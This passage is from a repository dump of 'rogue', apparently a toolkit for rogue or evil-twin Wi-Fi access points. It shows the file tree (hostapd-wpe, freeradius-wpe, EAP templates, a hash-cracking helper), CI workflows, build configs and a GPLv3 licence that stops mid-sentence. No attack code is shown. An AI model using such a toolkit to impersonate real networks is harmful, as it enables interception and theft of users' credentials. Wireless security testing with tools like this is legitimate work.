├── .github └── workflows │ ├── install.yml │ └── release.yml ├── .gitignore ├── .readthedocs.yaml ├── LICENSE ├── README.md ├── __init__.py ├── config.py ├── core ├── __init__.py ├── certs │ ├── Makefile │ ├── README │ ├── bootstrap │ ├── ca.cnf │ ├── client.cnf │ ├── server.cnf │ └── xpextensions ├── libs │ ├── __init__.py │ ├── cert_manager.py │ ├── cert_wizard.py │ ├── conf_manager.py │ ├── options.py │ └── utils.py └── templates │ ├── __init__.py │ ├── cert_templates.py │ ├── dhcpd_cnf.py │ ├── freeradius │ └── eap │ │ ├── freeradius_eap_all.py │ │ ├── freeradius_eap_fast.py │ │ ├── freeradius_eap_gtc.py │ │ ├── freeradius_eap_leap.py │ │ ├── freeradius_eap_md5.py │ │ ├── freeradius_eap_peap.py │ │ ├── freeradius_eap_pwd.py │ │ ├── freeradius_eap_tls.py │ │ ├── freeradius_eap_tls_common.py │ │ └── freeradius_eap_ttls.py │ ├── freeradius_cnf.py │ ├── hostapd │ ├── hostapd_open_cnf.py │ ├── hostapd_wep_cnf.py │ ├── hostapd_wpa_eap_cnf.py │ └── hostapd_wpa_psk_cnf.py │ └── responder_cnf.py ├── docs ├── Additional Tools │ └── hashcatifier.rst ├── Arguments │ ├── 802-11.rst │ ├── 802-11ac.rst │ ├── 802-11n.rst │ ├── 802-1x.rst │ ├── WEP.rst │ ├── WPA-PSK.rst │ ├── attack │ ├── dhcp.rst │ ├── general.rst │ └── radius.rst ├── Examples │ ├── Configuring evil-twin AP with different 802.11 protocols.rst │ ├── Configuring evil-twin AP with different authentication methods.rst │ ├── Generate a self-signed radius certificate.rst │ └── Using rogue with external certificates for RADIUS identity.rst ├── Installation │ └── linux.rst ├── Makefile ├── README.md ├── conf.py ├── index.rst ├── make.bat └── requirements.txt ├── install.py ├── install ├── pip.req └── software.req ├── logs └── freeradius-wpe.log ├── rogue.py ├── tmp ├── hostapd-wpe.conf ├── hostapd.accept └── hostapd.deny └── tools └── hashcatifer.py /.github/workflows/install.yml: -------------------------------------------------------------------------------- 1 | name: Install 2 | 3 | on: 4 | pull_request: 5 | branches: [ "master" ] 6 | 7 | workflow_dispatch: 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - uses: actions/checkout@v3 15 | - name: Add kali repositories 16 | run: | 17 | sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list" 18 | wget 'https://archive.kali.org/archive-key.asc' 19 | sudo apt-key add archive-key.asc 20 | 21 | - name: Install 22 | run: | 23 | echo "y" | sudo python3 install.py install 24 | 25 | - name: rogue [helper] 26 | run: | 27 | sudo python3 rogue.py --help 28 | 29 | - name: rogue [cert-wizard] 30 | run: | 31 | echo "US" > responses.txt 32 | echo "Texas" >> responses.txt 33 | echo "Austin" >> responses.txt 34 | echo "rogue" >> responses.txt 35 | echo "rogue@rogue.rogue" >> responses.txt 36 | echo "rogue" >> responses.txt 37 | cat responses.txt | sudo python3 rogue.py --cert-wizard 38 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: "tagged-release" 2 | 3 | on: 4 | pull_request: 5 | branches: [ "master" ] 6 | 7 | jobs: 8 | tagged-release: 9 | runs-on: ubuntu-latest 10 | 11 | steps: 12 | - uses: "marvinpinto/action-automatic-releases@latest" 13 | with: 14 | repo_token: "${{ secrets.API_TOKEN }}" 15 | prerelease: false 16 | id: "automatic_releases" 17 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ### Python ### 2 | **.pyc 3 | 4 | ### log files ### 5 | logs/ 6 | **.log 7 | 8 | ### Certificate files ### 9 | core/certs/ 10 | **.cnf 11 | 12 | ### Temporary files ### 13 | tmp/* 14 | -------------------------------------------------------------------------------- /.readthedocs.yaml: -------------------------------------------------------------------------------- 1 | # .readthedocs.yaml 2 | # Read the Docs configuration file 3 | # See https://docs.readthedocs.io/en/stable/config-file/v2.html for details 4 | 5 | # Required 6 | version: 2 7 | 8 | # Set the OS, Python version and other tools you might need 9 | build: 10 | os: ubuntu-22.04 11 | tools: 12 | python: "3.12" 13 | # You can also specify other tool versions: 14 | # nodejs: "19" 15 | # rust: "1.64" 16 | # golang: "1.19" 17 | 18 | # Build documentation in the "docs/" directory with Sphinx 19 | sphinx: 20 | configuration: docs/conf.py 21 | 22 | # Optionally build your docs in additional formats such as PDF and ePub 23 | # formats: 24 | # - pdf 25 | # - epub 26 | 27 | # Optional but recommended, declare the Python requirements required 28 | # to build your documentation 29 | # See https://docs.readthedocs.io/en/stable/guides/reproducible-builds.html 30 | python: 31 | install: 32 | - requirements: docs/requirements.txt 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit 